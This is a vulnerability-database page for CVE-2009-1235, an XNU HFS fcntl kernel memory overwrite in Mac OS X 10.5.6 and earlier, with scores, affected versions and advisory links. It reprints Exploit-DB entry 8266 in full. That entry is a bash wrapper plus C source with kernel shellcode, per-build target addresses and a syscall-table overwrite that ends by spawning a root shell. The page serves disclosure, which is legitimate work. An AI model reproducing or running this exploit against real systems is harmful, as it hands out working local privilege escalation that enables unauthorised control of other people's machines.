CVE-2009-1235 : Detail

CVE-2009-1235

A01-Broken Access Control
0.2%V4
Local
2009-04-02
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
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CVE Descriptions

XNU 1228.9.59 and earlier on Apple Mac OS X 10.5.6 and earlier does not properly restrict interaction between user space and the HFS IOCTL handler, which allows local users to overwrite kernel memory and gain privileges by attaching an HFS+ disk image and performing certain steps involving HFS_GET_BOOT_INFO fcntl calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 8266

Publication date : 2009-03-22 23h00 +00:00
Author : mu-b
EDB Verified : Yes

#!/bin/bash # * xnu-hfs-fcntl-v2.sh # * # * Copyright (c) 2008 by <mu-b@digit-labs.org> # * # * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit # * by mu-b - Sat 14 June 2008 # * # * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) # * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) # * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) # * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) # * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) # * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) # * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) # * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) # * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) # * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) # * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) # * # * - Private Source Code -DO NOT DISTRIBUTE - # * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! # * IMAGE=xnu-hfs EXPFILE=xnu-hfs-fcntl-v2 echo -en "Apple MACOS X xnu <= 1228.x local kernel root exploit\n" \ "by: <mu-b@digit-labs.org>\n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if [ ! -f $EXPFILE ]; then echo -n "* compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi fi if [ ! -f $IMAGE.dmg ]; then echo -n "* creating diskimage..." hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi fi echo -n "* attaching/mounting diskimage..." hdiutil attach $IMAGE.dmg > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi echo -e "* executing exploit...\n" ./$EXPFILE /Volumes/$IMAGE echo -n "* detaching/unmounting diskimage..." hdiutil detach /Volumes/$IMAGE > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* xnu-hfs-fcntl-v2.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit * by mu-b - Sat 14 June 2008 * * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <sys/attr.h> #include <sys/syscall.h> #include <sys/utsname.h> #include <unistd.h> #define OSX_TIGER 0x04 #define OSX_LEOPARD 0x05 #define HFS_GET_BOOT_INFO 0x00010004 #define SYSCALL_NUM 21 #define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM)) #define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM)) /* 1228.x, bsd/sys/sysent.h */ struct sysent { short sy_narg; char sy_resv; char sy_flags; void *sy_call; void *sy_arg_munge32; void *sy_arg_munge64; int sy_return_type; short sy_arg_bytes; }; static unsigned char ztiger[] = "\x55" "\x89\xe5" "\x8b\x45\x08" "\x8b\x40\x08" "\xc7\x40\x10\x00\x00\x00\x00" "\x31\xc0" "\xc9" "\xc3"; static unsigned char zleopard[] = "\x55" "\x89\xe5" "\x8b\x45\x08" "\x8b\x40\x64" "\xc7\x40\x10\x00\x00\x00\x00" "\x31\xc0" "\xc9" "\xc3"; static struct targets { const char *name; int shell_addr; /* &copyright */ int sys_addr; /* &nsysent */ const int type; } targets_t[] = { /* tiger */ { "root:xnu-792.14.14.obj~1/RELEASE_I386", 0x004518ac, 0x00451920, OSX_TIGER }, { "root:xnu-792.18.15~1/RELEASE_I386", 0x004528ec, 0x00452960, OSX_TIGER }, { "root:xnu-792.22.5~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER }, { "root:xnu-792.25.20~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER }, /* leopard */ { "root:xnu-1228~1/RELEASE_I386", 0x0050170c, 0x00501780, OSX_LEOPARD }, { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0050270c, 0x00502780, OSX_LEOPARD }, { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0050470c, 0x00504780, OSX_LEOPARD }, { "root:xnu-1228.5.18~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.5.20~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.7.58~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.9.59~1/RELEASE_I386", 0x0050A70c, 0x0050A780, OSX_LEOPARD }, { NULL, 0, 0, 0 }, }; int main (int argc, char **argv) { struct utsname p_uname; struct sysent fsysent; struct attrlist attr; char buf_attr[2048], *ptr; int shell_addr, sys_addr, sysent_addr; int fd, id, i, n, type; printf ("Apple MACOS X xnu <= 1228.x local kernel root exploit\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <hfs volume>\n", argv[0]); exit (EXIT_FAILURE); } shell_addr = 0; sys_addr = 0; type = 0; uname (&p_uname); ptr = strrchr (p_uname.version, ' ') + 1; for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, ptr) == 0) { shell_addr = targets_t[i].shell_addr; sys_addr = targets_t[i].sys_addr; type = targets_t[i].type; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n", argv[0], ptr); exit (EXIT_FAILURE); } printf ("* getattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = 0; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0); if (n < 0) { fprintf (stderr, "\n%s: getattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** attrlist length: %d\n", *(int *) &buf_attr[0]); printf ("** fndrinfo: "); for (i = 4; i < *(int *) &buf_attr[0]; i++) printf ("%c", buf_attr[i]); printf ("\n* done\n\n"); if (type == OSX_TIGER) memcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1); else if (type == OSX_LEOPARD) memcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1); else { fprintf (stderr, "\n%s: unknown type!\n", argv[0]); exit (EXIT_FAILURE); } printf ("* setattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = ATTR_VOL_INFO; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); if (n < 0) { fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); sleep (2); fd = open (argv[1], O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* overwriting @0x%08X\n", shell_addr); fflush (stdout); n = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr); if (n < 0) { fprintf (stderr, "%s: fcntl failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* done\n\n"); fsysent.sy_narg = 1; fsysent.sy_resv = 0; fsysent.sy_flags = 0; fsysent.sy_call = (void *) shell_addr; fsysent.sy_arg_munge32 = NULL; fsysent.sy_arg_munge64 = NULL; fsysent.sy_return_type = 0; fsysent.sy_arg_bytes = 4; memcpy (&buf_attr[4], &fsysent, sizeof (struct sysent)); printf ("* setattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = ATTR_VOL_INFO; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); if (n < 0) { fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); sleep (2); if (type == OSX_TIGER) sysent_addr = TIGER_HIT_ADDY(sys_addr); else if (type == OSX_LEOPARD) sysent_addr = LEOPARD_HIT_ADDY(sys_addr); else { fprintf (stderr, "\n%s: unknown type!\n", argv[0]); exit (EXIT_FAILURE); } printf ("* overwriting @0x%08X\n", sysent_addr); printf ("** sysent[%d].sy_call: 0x%08X\n", SYSCALL_NUM, shell_addr); fflush (stdout); n = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr); if (n < 0) { fprintf (stderr, "%s: fcntl failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* done\n\n"); printf ("* jumping..."); sleep (2); n = syscall (SYSCALL_NUM, NULL); printf ("done\n\n"); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { printf ("+Wh00t\n\n"); /* exec shell, for some reason execve doesn't work!?$! */ system ("/bin/bash"); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); } # milw0rm.com [2009-03-23]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.5.6

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.0

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.0

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.0

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.8

    Apple>>Mac_os_x >> Version 10.4.8

      Apple>>Mac_os_x >> Version 10.4.8

        Apple>>Mac_os_x >> Version 10.4.9

        Apple>>Mac_os_x >> Version 10.4.10

        Apple>>Mac_os_x >> Version 10.4.11

        Apple>>Mac_os_x >> Version 10.5

        Apple>>Mac_os_x >> Version 10.5.0

        Apple>>Mac_os_x >> Version 10.5.1

        Apple>>Mac_os_x >> Version 10.5.2

        Apple>>Mac_os_x >> Version 10.5.2

          Apple>>Mac_os_x >> Version 10.5.3

          Apple>>Mac_os_x >> Version 10.5.4

          Apple>>Mac_os_x >> Version 10.5.5

          Apple>>Mac_os_x_server >> Version To (including) 10.5.6

          Apple>>Mac_os_x_server >> Version 10.0

          Apple>>Mac_os_x_server >> Version 10.0.0

          Apple>>Mac_os_x_server >> Version 10.0.1

          Apple>>Mac_os_x_server >> Version 10.0.2

          Apple>>Mac_os_x_server >> Version 10.0.3

          Apple>>Mac_os_x_server >> Version 10.0.4

          Apple>>Mac_os_x_server >> Version 10.1

          Apple>>Mac_os_x_server >> Version 10.1.0

          Apple>>Mac_os_x_server >> Version 10.1.1

          Apple>>Mac_os_x_server >> Version 10.1.2

          Apple>>Mac_os_x_server >> Version 10.1.3

          Apple>>Mac_os_x_server >> Version 10.1.4

          Apple>>Mac_os_x_server >> Version 10.1.5

          Apple>>Mac_os_x_server >> Version 10.2

          Apple>>Mac_os_x_server >> Version 10.2.0

          Apple>>Mac_os_x_server >> Version 10.2.1

          Apple>>Mac_os_x_server >> Version 10.2.2

          Apple>>Mac_os_x_server >> Version 10.2.3

          Apple>>Mac_os_x_server >> Version 10.2.4

          Apple>>Mac_os_x_server >> Version 10.2.5

          Apple>>Mac_os_x_server >> Version 10.2.6

          Apple>>Mac_os_x_server >> Version 10.2.7

          Apple>>Mac_os_x_server >> Version 10.2.8

          Apple>>Mac_os_x_server >> Version 10.3

          Apple>>Mac_os_x_server >> Version 10.3.0

          Apple>>Mac_os_x_server >> Version 10.3.1

          Apple>>Mac_os_x_server >> Version 10.3.2

          Apple>>Mac_os_x_server >> Version 10.3.3

          Apple>>Mac_os_x_server >> Version 10.3.4

          Apple>>Mac_os_x_server >> Version 10.3.5

          Apple>>Mac_os_x_server >> Version 10.3.6

          Apple>>Mac_os_x_server >> Version 10.3.7

          Apple>>Mac_os_x_server >> Version 10.3.8

          Apple>>Mac_os_x_server >> Version 10.3.9

          Apple>>Mac_os_x_server >> Version 10.4

          Apple>>Mac_os_x_server >> Version 10.4.0

          Apple>>Mac_os_x_server >> Version 10.4.1

          Apple>>Mac_os_x_server >> Version 10.4.2

          Apple>>Mac_os_x_server >> Version 10.4.3

          Apple>>Mac_os_x_server >> Version 10.4.4

          Apple>>Mac_os_x_server >> Version 10.4.5

          Apple>>Mac_os_x_server >> Version 10.4.6

          Apple>>Mac_os_x_server >> Version 10.4.7

          Apple>>Mac_os_x_server >> Version 10.4.8

          Apple>>Mac_os_x_server >> Version 10.4.9

          Apple>>Mac_os_x_server >> Version 10.4.10

          Apple>>Mac_os_x_server >> Version 10.4.11

          Apple>>Mac_os_x_server >> Version 10.5

          Apple>>Mac_os_x_server >> Version 10.5.0

          Apple>>Mac_os_x_server >> Version 10.5.1

          Apple>>Mac_os_x_server >> Version 10.5.2

          Apple>>Mac_os_x_server >> Version 10.5.3

          Apple>>Mac_os_x_server >> Version 10.5.4

          Apple>>Mac_os_x_server >> Version 10.5.5

          References

          http://support.apple.com/kb/HT3757
          Tags : x_refsource_CONFIRM
          http://www.vupen.com/english/advisories/2009/0822
          Tags : vdb-entry, x_refsource_VUPEN
          http://secunia.com/advisories/36096
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://secunia.com/advisories/34424
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.securityfocus.com/bid/34203
          Tags : vdb-entry, x_refsource_BID
          https://www.exploit-db.com/exploits/8266
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://www.securitytracker.com/id?1022671
          Tags : vdb-entry, x_refsource_SECTRACK
          http://www.vupen.com/english/advisories/2009/2172
          Tags : vdb-entry, x_refsource_VUPEN
          http://www.us-cert.gov/cas/techalerts/TA09-218A.html
          Tags : third-party-advisory, x_refsource_CERT
          The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.